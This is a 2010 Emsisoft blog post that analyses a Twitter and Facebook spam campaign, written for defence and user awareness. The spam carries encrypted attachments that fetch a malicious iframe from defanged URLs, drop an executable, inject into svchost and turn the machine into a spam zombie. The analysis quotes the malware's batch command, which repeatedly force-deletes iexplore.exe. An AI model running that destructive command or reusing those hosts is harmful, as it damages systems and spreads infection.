Facebook, Twitter and more spams

  • June 17, 2010
  • 3 min read

There seems to be no end for the circulation of twitter spams, and now the malware authors have started trying various strategies to bring similar consequences. We blogged last week about the increasing twitter spam, and installation of rogue security softwares alongwith other malwares. Ofcourse the malware authors did not stop trying , and we kept our vigilance ongoing too.

The recent developments are multiple spams with no hyperlinked malicious urls but encrypted malicious attachments which when executed goes on to perform malicious activities. A sample spam email looks like one below.

We did detailed analysis on the attachment and the results were very disturbing to say the least.

Once the malicious attachment is executed, it will decode itself and goes to the following url hxxp://ereintza.com/z.html which contains a malicious iframe. Few other attachments tried connecting to hxxp://3torres.com/z.htm.

The iframe will attempt to connect

and finally redirected to

While all this happens, the exploit will drop executable malicious file under the hood.

which executes at once, making copies of itself in the startup directory

The malicious executable then goes on to inject itself to svchost.exe

The following remote website connections were established right after then

subsequently downloading and executing a batch file containing the following command

“C:WINDOWSsystem32cmd.exe” /c echo @echo off>”fjhdyfhsn.bat”&echo :try>>”fjhdyfhsn.bat”&echo @del /F /Q “C:Program FilesInternet Exploreriexplore.exe”>>”fjhdyfhsn.bat”&echo if exist “C:Program FilesInternet Exploreriexplore.exe” goto try>>”fjhdyfhsn.bat”&”fjhdyfhsn.bat”&@del /F /Q “fjhdyfhsn.bat”

The above created batch file looks like one below

All that which is happening till now sets up the victim’s machine for an alarming consequence. The malware creates multiple SMTP connections originating and operating from the infected machine and thus establishing a terrifying act, making the machine yet another Zombie. We captured the following disturbing screenshots

And, then the infected machine joins a group of millions of similar zombies, sending out innumerable spams like below

As of today, the detection for this malware is very low. Virscan report, http://virscan.org/report/13ae01e5367da76f8da358ffff450305.html, shows only 10 out of 36 vendors are currently have detection for the same. ( VirusTotal is currently unreachable for unknown reasons). We detect the malware and our customers are fully protected from this malicious attack.

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On a leaving note, please practice safe hex and make sure you make all attempts to not fall for these tricks. Facebook and Twitter are the buzz words right now, and malware authors are going to try various methods to exploit the popularity of these to fool end users. Do keep your version of Windows updated with latest updates, and make sure your antimalware products are also completely updated with latest definitions. Emsisoft Anti-Malware will continue to protect users and we will not let the malware authors go ahead of us.

Emsi

Emsi

Emsisoft founder and managing director. In 1998 when I was 16, a so called 'friend' sent me a file via ICQ that unexpectedly opened my CD-ROM drive, which gave me a big scare. It marked the start of my journey to fight trojans and other malware. My story

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